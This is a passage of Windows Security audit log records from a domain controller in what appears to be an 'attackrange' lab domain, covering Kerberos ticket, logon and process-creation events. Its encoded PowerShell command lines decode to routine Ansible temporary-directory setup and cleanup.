	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251827
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251826
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251825
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251824
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1138
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQAzAEEAQwA0AEEATgBnAEEAdwBBAEQAUQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATQB3AEEAMgBBAEQAUQBBAE4AQQBBAHgAQQBEAEEAQQBNAGcAQQB3AEEARABrAEEATQBnAEEAMgBBAEQATQBBAE0AQQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251823
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQAzAEEAQwA0AEEATgBnAEEAdwBBAEQAUQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATQB3AEEAMgBBAEQAUQBBAE4AQQBBAHgAQQBEAEEAQQBNAGcAQQB3AEEARABrAEEATQBnAEEAMgBBAEQATQBBAE0AQQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251822
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442FB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251821
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251820
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251819
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251818
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251817
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1442D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251926
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1208
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x934
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251925
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149167

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251924
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x149167
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64564

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251923
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149167

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
